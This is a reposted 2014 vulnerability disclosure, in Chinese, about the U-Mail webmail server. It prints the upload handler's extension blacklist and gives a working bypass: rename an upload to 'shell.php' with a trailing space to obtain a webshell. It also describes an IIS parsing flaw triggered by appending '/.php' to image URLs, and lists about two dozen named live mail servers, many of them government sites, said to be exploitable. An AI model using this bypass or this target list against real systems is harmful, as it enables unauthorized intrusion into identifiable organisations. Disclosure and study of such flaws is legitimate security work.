记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

U-Mail邮件服务系统任意文件上传+执行漏洞(runtime缺陷与验证绕过)

2014-08-17 15:35

#1 产品介绍

U-Mail邮件服务器,为企业轻松搭建最安全稳定的电子邮件系统软件。U-Mail专注于电子邮件领域15年,将广大企事业单位对邮箱服务器软件稳定安全的各类需求,与电子邮件应用管理的多样化、个性化为目标做深入开发,最大化拓展企业邮箱系统功能的灵活性和稳定性,使之成为政府部门、大专院校、中小学校、企事业集团和从事销售企业邮箱软件的网络服务商、集成商最理想的企业邮局系统架设软件。

支持数字证书服务并提供强大的管理功能,可直接在WebMail中撰写或阅读经过数字签名或数字加密的安全邮件(S/MIME)。提供军事级别的高安全强度(4096位DH/DSS加密或2048位RSA加密);

使用TLS/SSL标准安全套接字层通讯协议(1024位RSA加密),支持包括 SSL SMTP, SSL POP3, SSL IMAP4 安全通讯服务,防止网络侦听,使得通信更安全。

#2 U-Mail客户案例

中国外交部

中国农业银行

福州市人大常委会

南宁国际机场

上海电信公司

酒泉卫星发射中心

国家环境保护总局

浦发银行呼和浩特分行

四川省知识产权局

晋中商业银行

华夏航空

国测卫星中心

广元贵商银行

国家保密技术研究所

中华人民共和国厦门海事局

威海市商业银行 ...

还有很多很多就不一一列举了...

#3 先来说说真正的上传漏洞,再说奇葩的配置问题

漏洞文件

/client/mail/module/o_attach.php

代码如下(代码是Zend加密的,但是呢..)

if ( ACTION == "attach-upload" )

{

if ( $_FILES )

{

$file_name = $_FILES['Filedata']['name'];

$file_type = $_FILES['Filedata']['type'];

$file_size = $_FILES['Filedata']['size'];

$file_source = $_FILES['Filedata']['tmp_name'];

$file_suffix = getfilenamesuffix( $file_name );

$not_allow_ext = array( "php", "phps", "php3", "exe", "bat" );

if ( in_array( $file_suffix, $not_allow_ext ) )

{

dump_json( array( "status" => 0, "message" => el( "不支持该扩展名文件上传", "" ) ) );

}

$path_target = getusercachepath( );

do

{

$file_id = makerandomname( );

$file_target = $path_target.$file_id.".".$file_suffix;

} while ( file_exists( $file_target ) );

if ( move_uploaded_file( $file_source, $file_target ) )

{

dump_json( array( "status" => 0, "message" => el( "写入文件出错,请与管理员联系!", "" ) ) );

}

$_SESSION[SESSION_ID]['attach_cache'][] = array( "id" => $file_id, "name" => $file_name, "type" => "1", "path" => $file_target, "size" => $file_size );

dump_json( array( "status" => "1", "filename" => $file_name, "filesize" => $file_size, "file_id" => $file_id ) );

}

else

{

dump_json( array( "status" => "0", "message" => el( "无法找到需要上传的文件!", "" ) ) );

}

}



这里的话,主要是你们对前段时间对该漏洞修复不完善,可以绕过,导致可以再次上传任意文件,获取服务器权限..

首先来看看你们是怎样修复的

$not_allow_ext = array( "php", "phps", "php3", "exe", "bat" );

if ( in_array( $file_suffix, $not_allow_ext ) )

{

dump_json( array( "status" => 0, "message" => el( "不支持该扩展名文件上传", "" ) ) );

}



这不就是典型的黑名单限制嘛,黑名单太不靠谱了,于是可以轻易的绕过..

这里就不给出具体的证明了,文件的上传可以参考先前的这个漏洞

 WooYun: U-Mail任意文件上传漏洞一枚 



但由于官方已经修复了这个漏洞,当然利用上面的方法是无法成功上传的,要稍微改变下

构造表单上传的时候,采用Burp抓包上,修改上传的文件名 如下

Content-Disposition: form-data; name="Filedata"; filename="shell.jpg"

修改为

Content-Disposition: form-data; name="Filedata"; filename="shell.php "

注意:shell.php后面的个空格



提交,即可获取webshell,如图

1.jpg



(当时并不是这样获取到的webshell,当时获取webshell是通过#4的方法获取到的)



#4 奇葩的U-Mail环境

当时测试这个文件上传的时候(

www.wooyun.org/bugs/wooyun-2014-059954

),由于修复了,获取不到shell,当测试上传正常的jpg图片时,图片地址为

http://mail.comingchina.com/webmail/client/cache/78427/14006861677.jpg



可以当时手抖了下 在连接后面加上/.php 不可思议的是,居然解析了..

2.jpg



难道是Nginx??? No!!!居然是IIS的,太奇葩了

3.jpg



不过更奇葩的还在后面...

#5 奇葩配置家家有

今天早上起来,想起这事 会不会其他的服务器上同样存在这个问题呢?果真是不搜不知道,一搜吓一跳...

原来这种奇葩的配置普遍都存在..

http://mail.shcmusic.edu.cn/webmail/images/login9/login_month05.gif



4.jpg



http://mail.huacemedia.com:6080/webmail/images/login9/login_month05.gif



5.jpg



http://sznslib.com.cn/webmail/images/login9/login_month05.gif



6.jpg



http://mail.onlyedu.com:3000/webmail/images/login9/login_month05.gif



7.jpg



还有很多很多,就不一一截图举例了,几乎是全部都存在这个问题,影响实在是太大了...

http://mail.chongqingbeer.com/webmail/images/login6/index_r3_c7.jpg/.php



http://mail.dxh.gov.cn:8000/webmail/images/login9/login_month05.gif/.php



http://mail.szclib.org.cn/webmail/images/login8/lo_3.jpg/.php



http://mail.maxqueen.com/webmail/images/login9/login_month05.gif/.php



http://mail.ypsti.com/webmail/images/login8/logo_def.jpg/.php



http://www.dencare.com.cn:8081/webmail/images/login9/login_month05.gif/.php



http://mail.chsdl.com/webmail/images/login9/login_month05.gif/.php



http://mail.cmpedu.com/webmail/images/login9/login_month05.gif/.php



http://mail.warriorshoes.com/webmail/images/login4/pt.jpg/.php



http://mail.scrftb.gov.cn/webmail/images/login8/lo_3.jpg/.php



http://www.xdrc.gov.cn:6080/webmail/images/login8/lo_3.jpg/.php



http://mail.zzradio.cn/webmail/images/login9/login_month05.gif/.php



http://mail.zzradio.cn/webmail/images/login9/login_month05.gif/.php



http://mail.jasolar.com/webmail/images/login5/vir1.gif/.php



http://mail.kyfc.com.cn/webmail/images/login9/login_month05.gif/.php



http://mail.ms.gov.cn/webmail/images/login9/login_month05.gif/.php



http://mail.ms.gov.cn/webmail/images/login9/login_month05.gif/.php



http://mail.guojihr.com/webmail/images/login9/login_month05.gif/.php



http://mail.tlf.gov.cn/webmail/images/login9/login_month05.gif/.php



http://mail.lianyuan.gov.cn:800/webmail/images/login9/login_month05.gif/.php



http://www.gdmsa.gov.cn:3000/webmail/images/login9/login_month05.gif/.php



http://www.imbcams.com.cn/webmail/images/login9/login_month05.gif/.php



https://www.hnhtxx.com.cn/webmail/images/login9/login_month05.gif/.php



小结:上述结果仅列出Google前3页,全部中招... 命中率:100%

aaa.jpg

漏洞证明:

#丢个官方shell

1.jpg

修复方案:

不想多说了

知识来源: www.wooyun.org/bugs/wooyun-2014-061859

阅读:738761 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“U-Mail邮件服务系统任意文件上传+执行漏洞(runtime缺陷与验证绕过)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于垒土;黑客之术,始于阅读

推广

工具

标签云